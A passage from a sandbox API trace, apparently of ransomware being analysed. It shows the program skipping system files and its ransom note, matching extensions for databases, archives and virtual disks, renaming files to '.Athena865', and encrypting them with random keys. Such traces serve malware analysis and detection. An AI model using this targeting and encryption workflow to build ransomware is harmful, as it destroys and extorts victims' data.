(lpString1="rop", lpString2="spq") returned -1 [0099.740] lstrlenW (lpString="te") returned 2 [0099.740] lstrcmpiW (lpString1="op", lpString2="te") returned -1 [0099.740] lstrlenW (lpString="teacher") returned 7 [0099.740] lstrcmpiW (lpString1="hotProp", lpString2="teacher") returned -1 [0099.740] lstrlenW (lpString="tmd") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="tmd") returned -1 [0099.740] lstrlenW (lpString="tps") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="tps") returned -1 [0099.740] lstrlenW (lpString="trc") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="trc") returned -1 [0099.740] lstrlenW (lpString="trc") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="trc") returned -1 [0099.740] lstrlenW (lpString="trm") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="trm") returned -1 [0099.740] lstrlenW (lpString="udb") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="udb") returned -1 [0099.740] lstrlenW (lpString="udl") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="udl") returned -1 [0099.740] lstrlenW (lpString="usr") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="usr") returned -1 [0099.740] lstrlenW (lpString="v12") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="v12") returned -1 [0099.740] lstrlenW (lpString="vis") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="vis") returned -1 [0099.741] lstrlenW (lpString="vpd") returned 3 [0099.741] lstrcmpiW (lpString1="rop", lpString2="vpd") returned -1 [0099.741] lstrlenW (lpString="vvv") returned 3 [0099.741] lstrcmpiW (lpString1="rop", lpString2="vvv") returned -1 [0099.741] lstrlenW (lpString="wdb") returned 3 [0099.741] lstrcmpiW (lpString1="rop", lpString2="wdb") returned -1 [0099.741] lstrlenW (lpString="wmdb") returned 4 [0099.741] lstrcmpiW (lpString1="Prop", lpString2="wmdb") returned -1 [0099.741] lstrlenW (lpString="wrk") returned 3 [0099.741] lstrcmpiW (lpString1="rop", lpString2="wrk") returned -1 [0099.741] lstrlenW (lpString="xdb") returned 3 [0099.741] lstrcmpiW (lpString1="rop", lpString2="xdb") returned -1 [0099.741] lstrlenW (lpString="xld") returned 3 [0099.741] lstrcmpiW (lpString1="rop", lpString2="xld") returned -1 [0099.741] lstrlenW (lpString="xmlff") returned 5 [0099.741] lstrcmpiW (lpString1="tProp", lpString2="xmlff") returned -1 [0099.741] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp.Athena865") returned 120 [0099.741] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.742] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.742] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=840) returned 1 [0099.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.742] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.743] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.743] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.743] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x650, lpName=0x0) returned 0x154 [0099.745] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x650) returned 0x100000 [0099.746] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.747] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.747] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.748] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.748] CloseHandle (hObject=0x154) returned 1 [0099.748] CloseHandle (hObject=0x17c) returned 1 [0099.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.748] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa7487a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa7487a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xa7487a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", cAlternateFileName="{5AC56~1")) returned 1 [0099.748] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.748] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.748] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.748] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.748] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.748] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.748] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.748] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.749] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.749] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.749] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.749] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.749] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.749] lstrlenW (lpString="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp") returned 57 [0099.749] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp" | out: lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp") returned="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp" [0099.749] lstrlenW (lpString="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp") returned 57 [0099.749] lstrlenW (lpString="Athena865") returned 9 [0099.749] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.749] lstrlenW (lpString=".dll") returned 4 [0099.749] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.749] lstrlenW (lpString=".lnk") returned 4 [0099.749] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.749] lstrlenW (lpString=".ini") returned 4 [0099.749] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.749] lstrlenW (lpString=".sys") returned 4 [0099.749] lstrcmpiW (lpString1="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.749] lstrlenW (lpString="{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp") returned 57 [0099.749] lstrlenW (lpString="bak") returned 3 [0099.749] lstrcmpiW (lpString1="rop", lpString2="bak") returned 1 [0099.749] lstrlenW (lpString="ba_") returned 3 [0099.749] lstrcmpiW (lpString1="rop", lpString2="ba_") returned 1 [0099.749] lstrlenW (lpString="dbb") returned 3 [0099.749] lstrcmpiW (lpString1="rop", lpString2="dbb") returned 1 [0099.749] lstrlenW (lpString="vmdk") returned 4 [0099.749] lstrcmpiW (lpString1="Prop", lpString2="vmdk") returned -1 [0099.749] lstrlenW (lpString="rar") returned 3 [0099.749] lstrcmpiW (lpString1="rop", lpString2="rar") returned 1 [0099.749] lstrlenW (lpString="zip") returned 3 [0099.750] lstrcmpiW (lpString1="rop", lpString2="zip") returned -1 [0099.750] lstrlenW (lpString="tgz") returned 3 [0099.750] lstrcmpiW (lpString1="rop", lpString2="tgz") returned -1 [0099.750] lstrlenW (lpString="vbox") returned 4 [0099.750] lstrcmpiW (lpString1="Prop", lpString2="vbox") returned -1 [0099.750] lstrlenW (lpString="vdi") returned 3 [0099.750] lstrcmpiW (lpString1="rop", lpString2="vdi") returned -1 [0099.750] lstrlenW (lpString="vhd") returned 3 [0099.750] lstrcmpiW (lpString1="rop", lpString2="vhd") returned -1 [0099.750] lstrlenW (lpString="vhdx") returned 4 [0099.750] lstrcmpiW (lpString1="Prop", lpString2="vhdx") returned -1 [0099.750] lstrlenW (lpString="avhd") returned 4 [0099.750] lstrcmpiW (lpString1="Prop", lpString2="avhd") returned 1 [0099.750] lstrlenW (lpString="db") returned 2 [0099.750] lstrcmpiW (lpString1="op", lpString2="db") returned 1 [0099.750] lstrlenW (lpString="db2") returned 3 [0099.750] lstrcmpiW (lpString1="rop", lpString2="db2") returned 1 [0099.750] lstrlenW (lpString="db3") returned 3 [0099.750] lstrcmpiW (lpString1="rop", lpString2="db3") returned 1 [0099.750] lstrlenW (lpString="dbf") returned 3 [0099.750] lstrcmpiW (lpString1="rop", lpString2="dbf") returned 1 [0099.750] lstrlenW (lpString="mdf") returned 3 [0099.750] lstrcmpiW (lpString1="rop", lpString2="mdf") returned 1 [0099.750] lstrlenW (lpString="mdb") returned 3 [0099.750] lstrcmpiW (lpString1="rop", lpString2="mdb") returned 1 [0099.750] lstrlenW (lpString="sql") returned 3 [0099.750] lstrcmpiW (lpString1="rop", lpString2="sql") returned -1 [0099.750] lstrlenW (lpString="sqlite") returned 6 [0099.750] lstrcmpiW (lpString1="otProp", lpString2="sqlite") returned -1 [0099.751] lstrlenW (lpString="sqlite3") returned 7 [0099.751] lstrcmpiW (lpString1="hotProp", lpString2="sqlite3") returned -1 [0099.751] lstrlenW (lpString="sqlitedb") returned 8 [0099.751] lstrcmpiW (lpString1="shotProp", lpString2="sqlitedb") returned -1 [0099.751] lstrlenW (lpString="xml") returned 3 [0099.751] lstrcmpiW (lpString1="rop", lpString2="xml") returned -1 [0099.751] lstrlenW (lpString="$er") returned 3 [0099.751] lstrcmpiW (lpString1="rop", lpString2="$er") returned 1 [0099.751] lstrlenW (lpString="4dd") returned 3 [0099.751] lstrcmpiW (lpString1="rop", lpString2="4dd") returned 1 [0099.751] lstrlenW (lpString="4dl") returned 3 [0099.751] lstrcmpiW (lpString1="rop", lpString2="4dl") returned 1 [0099.751] lstrlenW (lpString="^^^") returned 3 [0099.751] lstrcmpiW (lpString1="rop", lpString2="^^^") returned 1 [0099.751] lstrlenW (lpString="abs") returned 3 [0099.751] lstrcmpiW (lpString1="rop", lpString2="abs") returned 1 [0099.751] lstrlenW (lpString="abx") returned 3 [0099.751] lstrcmpiW (lpString1="rop", lpString2="abx") returned 1 [0099.751] lstrlenW (lpString="accdb") returned 5 [0099.751] lstrcmpiW (lpString1="tProp", lpString2="accdb") returned 1 [0099.751] lstrlenW (lpString="accdc") returned 5 [0099.751] lstrcmpiW (lpString1="tProp", lpString2="accdc") returned 1 [0099.751] lstrlenW (lpString="accde") returned 5 [0099.751] lstrcmpiW (lpString1="tProp", lpString2="accde") returned 1 [0099.751] lstrlenW (lpString="accdr") returned 5 [0099.751] lstrcmpiW (lpString1="tProp", lpString2="accdr") returned 1 [0099.751] lstrlenW (lpString="accdt") returned 5 [0099.751] lstrcmpiW (lpString1="tProp", lpString2="accdt") returned 1 [0099.751] lstrlenW (lpString="accdw") returned 5 [0099.751] lstrcmpiW (lpString1="tProp", lpString2="accdw") returned 1 [0099.752] lstrlenW (lpString="accft") returned 5 [0099.752] lstrcmpiW (lpString1="tProp", lpString2="accft") returned 1 [0099.752] lstrlenW (lpString="adb") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="adb") returned 1 [0099.752] lstrlenW (lpString="adb") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="adb") returned 1 [0099.752] lstrlenW (lpString="ade") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="ade") returned 1 [0099.752] lstrlenW (lpString="adf") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="adf") returned 1 [0099.752] lstrlenW (lpString="adn") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="adn") returned 1 [0099.752] lstrlenW (lpString="adp") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="adp") returned 1 [0099.752] lstrlenW (lpString="alf") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="alf") returned 1 [0099.752] lstrlenW (lpString="ask") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="ask") returned 1 [0099.752] lstrlenW (lpString="btr") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="btr") returned 1 [0099.752] lstrlenW (lpString="cat") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="cat") returned 1 [0099.752] lstrlenW (lpString="cdb") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="cdb") returned 1 [0099.752] lstrlenW (lpString="ckp") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="ckp") returned 1 [0099.752] lstrlenW (lpString="cma") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="cma") returned 1 [0099.752] lstrlenW (lpString="cpd") returned 3 [0099.752] lstrcmpiW (lpString1="rop", lpString2="cpd") returned 1 [0099.753] lstrlenW (lpString="dacpac") returned 6 [0099.753] lstrcmpiW (lpString1="otProp", lpString2="dacpac") returned 1 [0099.753] lstrlenW (lpString="dad") returned 3 [0099.753] lstrcmpiW (lpString1="rop", lpString2="dad") returned 1 [0099.753] lstrlenW (lpString="dadiagrams") returned 10 [0099.753] lstrcmpiW (lpString1="apshotProp", lpString2="dadiagrams") returned -1 [0099.753] lstrlenW (lpString="daschema") returned 8 [0099.753] lstrcmpiW (lpString1="shotProp", lpString2="daschema") returned 1 [0099.753] lstrlenW (lpString="db-journal") returned 10 [0099.753] lstrcmpiW (lpString1="apshotProp", lpString2="db-journal") returned -1 [0099.753] lstrlenW (lpString="db-shm") returned 6 [0099.753] lstrcmpiW (lpString1="otProp", lpString2="db-shm") returned 1 [0099.753] lstrlenW (lpString="db-wal") returned 6 [0099.753] lstrcmpiW (lpString1="otProp", lpString2="db-wal") returned 1 [0099.753] lstrlenW (lpString="dbc") returned 3 [0099.753] lstrcmpiW (lpString1="rop", lpString2="dbc") returned 1 [0099.753] lstrlenW (lpString="dbs") returned 3 [0099.753] lstrcmpiW (lpString1="rop", lpString2="dbs") returned 1 [0099.753] lstrlenW (lpString="dbt") returned 3 [0099.753] lstrcmpiW (lpString1="rop", lpString2="dbt") returned 1 [0099.753] lstrlenW (lpString="dbv") returned 3 [0099.753] lstrcmpiW (lpString1="rop", lpString2="dbv") returned 1 [0099.753] lstrlenW (lpString="dbx") returned 3 [0099.753] lstrcmpiW (lpString1="rop", lpString2="dbx") returned 1 [0099.753] lstrlenW (lpString="dcb") returned 3 [0099.753] lstrcmpiW (lpString1="rop", lpString2="dcb") returned 1 [0099.754] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp.Athena865") returned 120 [0099.754] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.754] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.754] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2616) returned 1 [0099.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.755] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.756] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.756] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.756] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x154 [0099.757] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000 [0099.759] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.760] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.760] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.760] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.760] CloseHandle (hObject=0x154) returned 1 [0099.760] CloseHandle (hObject=0x17c) returned 1 [0099.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.761] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa568f4b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa568f4b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa568f4b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", cAlternateFileName="{77AC2~1")) returned 1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.761] lstrlenW (lpString="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp") returned 57 [0099.761] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp" | out: lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp") returned="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp" [0099.761] lstrlenW (lpString="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp") returned 57 [0099.761] lstrlenW (lpString="Athena865") returned 9 [0099.761] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.761] lstrlenW (lpString=".dll") returned 4 [0099.761] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.762] lstrlenW (lpString=".lnk") returned 4 [0099.762] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.762] lstrlenW (lpString=".ini") returned 4 [0099.762] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.762] lstrlenW (lpString=".sys") returned 4 [0099.762] lstrcmpiW (lpString1="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.762] lstrlenW (lpString="{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp") returned 57 [0099.762] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp.Athena865") returned 120 [0099.762] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_ondisksnapshotprop"), lpNewFileName="C:\\System 